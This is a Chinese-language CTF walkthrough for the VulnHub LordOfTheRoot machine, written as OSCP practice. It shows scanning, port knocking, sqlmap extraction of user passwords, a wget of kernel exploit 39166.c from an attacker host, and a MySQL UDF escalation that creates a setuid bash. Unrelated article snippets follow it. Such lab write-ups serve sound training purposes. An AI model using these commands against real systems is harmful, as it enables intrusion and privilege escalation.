OSCP备战-LordOfTheRoot靶机复现步骤

PDF下载:

Target-practice/Range at main · szjr123/Target-practice

一、靶机描述

靶机地址:https://www.vulnhub.com/entry/lord-of-the-root-101,129/

靶机难度:中等(CTF)

靶机描述:这是KoocSec为黑客练习准备的另一个Boot2Root挑战。他通过OSCP考试的启发准备了这一过程。它基于伟大的小说改制电影《指环王》的概念。

目标:得到root权限&找到flag.txt

直接VM导入靶机,启动靶机

二、信息搜集

1、目标IP获取

得到目标IP:10.10.10.130

2、端口扫描

nmap -p- --min-rate 1000 -T4 10.10.10.130

似乎只开启了22端口吗

端口详细信息扫描

nmap -p22 -sV -sC -A  --min-rate 1000 -T4 10.10.10.130

尝试连接22端口

ssh 10.10.10.130

给出提示:

Easy as 1,2,3

提示port_knocking(端口试探)
端口试探的主要目的是防止攻击者通过对端口扫描的方式对主机进行攻击。
端口试探是一种通过尝试连接,从外部打开原先关闭端口的方法。一旦收到正确顺序的尝试连接,防火墙就会打开一些特定的端口允许尝试连接的主机访问。

尝试连接123端口

安装knock

apt install knockd

使用

knock -v 10.10.10.130 1 2 3

再次进行端口扫描

nmap -p- --min-rate 1000 -T4 10.10.10.130

开放新的端口1337

三、Getshell

访问1337端口

查看源代码没有信息

进行目录扫描

给到三张图片

没什么信息根据图片访问/mordor

源代码发现

THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh

得到新路径

/978345210/index.php

登录框

尝试admin万能密码失败

尝试注入

sqlmap -o -u http://10.10.10.130:1337/978345210/index.php --forms

给出:data: username= &password=*&submit=%20Login%20

sqlmap -o -u http://10.10.10.130:1337/978345210/index.php --forms --dbs

sqlmap -o -u http://10.10.10.130:1337/978345210/index.php --forms -D Webapp --tables

sqlmap -o -u http://10.10.10.130:1337/978345210/index.php --forms -D Webapp -T Users –dump

得到:

frodo | iwilltakethering
smeagol | MyPreciousR00t
aragorn | AndMySword
legolas | AndMyBow
gimli | AndMyAxe

尝试进行ssh连接:

最终只有smeagol | MyPreciousR00t可以成功连接

四、提权

1、内核提权

查看内核:

uname -a

ubuntu 14.04 linux 3.19

wget 10.10.10.128:442/39166.c

2、mysql udf提权

注意:下述操作未做演示,只是讲解一般操作步骤

查看mysql启动权限

查找mysql账号:/var/www/ 978345210/login.php

'root', 'darkshadow'

连接

mysql -u root -p

输入密码后进入

查看mysql版本号

(1)依次执行

select * from mysql.func;#查看可执行函数,若以及有函数直接跳到(7)select version();   # 获取数据库版本

udf提权因数据库版本会不一样

show variables like 'plugin%'; # 查看plugin路径show global variables like '%secure%';  #查看是否有写入权限

当 secure_file_priv 的值没有具体值时,可提权

(2)任选一个数据库创建表单:

CREATE TABLE foo (data LONGBLOB);

(3)将所选择的udf插入表单(同样先利用wget下载kali中自带的(位置:/usr/share/metasploit/mysql/)):

insert into foo values(load_file('/tmp/lib_mysqludf_sys_64.so '));

(4)导出(/usr/lib/mysql/plugin/为plugin位置):

select * from foo into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so ';

(5)创建函数(这里少数情况会报错,执行(9)):

create function sys_eval returns integer soname 'lib_mysqludf_sys_64.so';

(6)

select * from mysql.func;   #查看函数是否创建成功

(7)

select sys_eval('cp /bin/bash /tmp/bash ; chmod +s /tmp/bash');

(8)回到/tmp/bash执行

/tmp/bash -pwhoami

(9)查看lib_mysqludf_sys_64.so 长度,显示长度为1

ls -l /usr/lib/mysql/plugin/lib_mysqludf_sys_64.so

直接在数据库中进行复制过去

\! cp /tmp/lib_mysqludf_sys_64.so /usr/lib/mysql/plugin

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.tpcf.cn/news/911714.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

苹果或140亿美元收购Perplexity,AI搜索格局面临重构

据多家媒体报道,苹果内部高管近期就竞购AI初创公司Perplexity的可能性举行了初步会谈。若交易最终达成,可能将以接近140亿美元的估值完成,成为苹果历史上最大规模的收购案12。尽管讨论仍处于早期阶段,且苹果尚未与Perplexity管理层…

屠龙刀策略

该策略是一个针对金融市场的自动化交易策略,主要用于日内交易,特别关注于在中国金融期货市场(如沪深300指数期货(IF))的日间交易时段(09:20至15:15)进行操作。下面是该策略核心部分的代码注解解析: 参数定义 - `Nnn1(5)` 和 `Nnn2(20)`:策略中的两个参数,用于内部计…

【本机已实现】使用Mac部署Triton服务,使用perf_analyzer、model_analyzer

我们的目标是星辰大海 硬件配置:Apple M224 GB Tirtion实现过程 1️⃣Docker安装 Tirtion的实现,首先要确保系统上的Docker可用 使用默认源会导致拉取失败,因为墙 Error response from daemon: Get "https://registry-1.docker.io/v2…

idea依赖下载慢解决

setttings.xml <mirrors><mirror><id>aliyunmaven</id><name>阿里云公共仓库</name><url>https://maven.aliyun.com/repository/public</url><mirrorOf>*</mirrorOf> <!-- 匹配所有仓库请求 --></mirr…

C# WPF常用调试工具汇总

除了Live Visual Tree、Live Property Explorer和Snoop外&#xff0c;WPF开发还有多种强大的调试工具。以下是完整的工具集合及其详细使用方法&#xff1a; 1. WPF Performance Suite (WPF性能分析套件) 简介 微软官方提供的专业WPF性能分析工具&#xff0c;包含多个组件用于诊…

《Vuejs设计与实现》第 11 章(快速 diff 算法

目录 11.1 相同的前置元素和后置元素 11.2 判断是否需要进行 DOM 移动操作 11.3 如何移动元素 11.4 总结 我们将探讨第三种用于比较新旧子节点集合的方法&#xff1a;快速Diff算法。 这种算法的速度非常快&#xff0c;最早应用于 ivi 和 inferno 框架&#xff0c;DOM 操作方…

JavaScript 存储对象 sessionStorage (会话存储) 和 localStorage(本地存储)

深入理解 localStorage localStorage 是浏览器提供的一种客户端存储机制&#xff0c;用于在用户浏览器中存储键值对数据。与 cookie 相比&#xff0c;它提供了更大的存储容量&#xff08;通常为 5-10MB&#xff09;&#xff0c;并且不会随 HTTP 请求发送到服务器&#xff0c;因…

Z-Ant开源程序是简化了微处理器上神经网络的部署和优化

​一、软件介绍 文末提供程序和源码下载 Z-Ant &#xff08;Zig-Ant&#xff09; 是一个全面的开源神经网络框架&#xff0c;专门用于在微控制器和边缘设备上部署优化的 AI 模型。Z-Ant 使用 Zig 构建&#xff0c;为资源受限的硬件上的模型优化、代码生成和实时推理提供端到端…

Linux系统---Nginx配置nginx状态统计

配置Nignx状态统计 1、下载vts模块 https://github.com/vozlt/nginx-module-vts [rootclient ~]# nginx -s stop [rootclient ~]# ls anaconda-ks.cfg nginx-1.27.3 ceph-release-1-1.el7.noarch.rpm nginx-1.27.3.tar.gz info.sh …

深入理解 C++ Lambda表达式:四大语法特性 + 六大高频考点全解析

Lambda表达式是C11引入的一项重要特性&#xff0c;它极大地改变了我们编写匿名函数的方式。 一、为什么会有Lambda表达式 在C11之前&#xff0c;当我们需要传递一个简单的函数时&#xff0c;通常有以下几种选择&#xff1a; 1.1、定义一个单独的函数 // 单独定义的比较函数…

SpringBoot 自动化部署实战:CI/CD 整合方案与避坑全指南

在数字化转型浪潮席卷全球的当下&#xff0c;企业对软件交付的速度与质量提出了前所未有的高要求。SpringBoot 凭借其 “约定优于配置” 的特性&#xff0c;成为 Java 领域快速构建应用的热门框架。而将 SpringBoot 与 CI/CD&#xff08;持续集成 / 持续交付&#xff09;相结合…

JVM字节码文件结构深度剖析

反汇编&#xff0c;以下命令可以查看相对可读的详细结构 javap -verbose ByteCode.class与Class二进制文件并不是直接对齐的 Class二进制文件结构参照表 ClassFile {u4 magic;魔数u2 minor_version;副版本号u2 major_version;主版本号u2…

跟着chrome面板优化页面性能

没有优化前&#xff1a; 1.对文本进行压缩&#xff1a; 重新打包 运行 评分好像还是没有发生改变&#xff0c;于是我去找别的压缩的途径&#xff0c; npm install --save-dev vite-plugin-compression 然后修改vite.config.js文件 导入compression插件 文件夹中也成功出现了…

网上花店微信小程序完整项目

概述 一款功能完善的网上花店微信小程序完整项目。该项目包含了完整的前后端代码&#xff0c;是一款基于Java技术栈开发的电商类小程序&#xff0c;适合初学者学习的小程序源码。 主要内容 该花店小程序源码采用主流技术架构开发&#xff0c;主要功能模块包括&#xff1a; …

Elasticsearch 搜索的流程

Elasticsearch 的搜索流程是一个分布式协作过程&#xff0c;主要包含 ‌查询阶段&#xff08;Query Phase&#xff09;‌ 和 ‌取回阶段&#xff08;Fetch Phase&#xff09;‌&#xff0c;默认采用 QUERY_THEN_FETCH 模式。以下是详细流程&#xff1a; 一、请求分发与路由 ‌…

用户行为分析:从概念到实践的全面指南

在数字化转型浪潮中&#xff0c;用户行为分析已成为企业决策的核心驱动力。 用户行为分析本质上是对用户与产品交互过程中产生的各类行为数据进行系统性收集、处理和分析&#xff0c;从而揭示用户偏好、预测行为趋势并指导业务决策的过程。它包含三层核心要素&#xff1a;行为…

Claude Code - 终端智能编码助手

文章目录 一、关于 Claude Code1、项目概览2、相关链接资源 二、安装配置三、使用指南1、快速开始2、问题反馈 四、隐私与数据1、数据收集2、隐私保护 一、关于 Claude Code 1、项目概览 Claude Code 是一款终端智能编码工具&#xff0c;能够理解代码库并通过自然语言命令执行…

如何在FastAPI中玩转跨服务权限校验的魔法?

title: 如何在FastAPI中玩转跨服务权限校验的魔法? date: 2025/06/24 08:23:40 updated: 2025/06/24 08:23:40 author: cmdragon excerpt: FastAPI跨服务权限校验通过可信令牌颁发、令牌传播机制和分布式验证实现微服务架构安全。核心组件包括令牌生成服务和验证逻辑,使用…

用 Python 打造立体数据世界:3D 堆叠条形图绘制全解析

在数据可视化的工具箱里&#xff0c;3D 图表总能带来眼前一亮的效果 —— 它突破了二维平面的限制&#xff0c;用立体空间展示多维度数据关系&#xff0c;让复杂的数据层级一目了然。今天我们要解锁的「3D 堆叠条形图」&#xff0c;就是一种能同时呈现类别、子类别、数值大小的…

互联网大厂Java求职面试:AI与大模型技术下的RAG系统架构设计与性能优化

【互联网大厂Java求职面试&#xff1a;AI与大模型技术下的RAG系统架构设计与性能优化】 文章内容 面试官开场白 技术总监&#xff08;李明&#xff09;&#xff1a; “郑薪苦&#xff0c;欢迎来到今天的面试。我是李明&#xff0c;负责我们公司的AI平台架构设计。今天我们将围…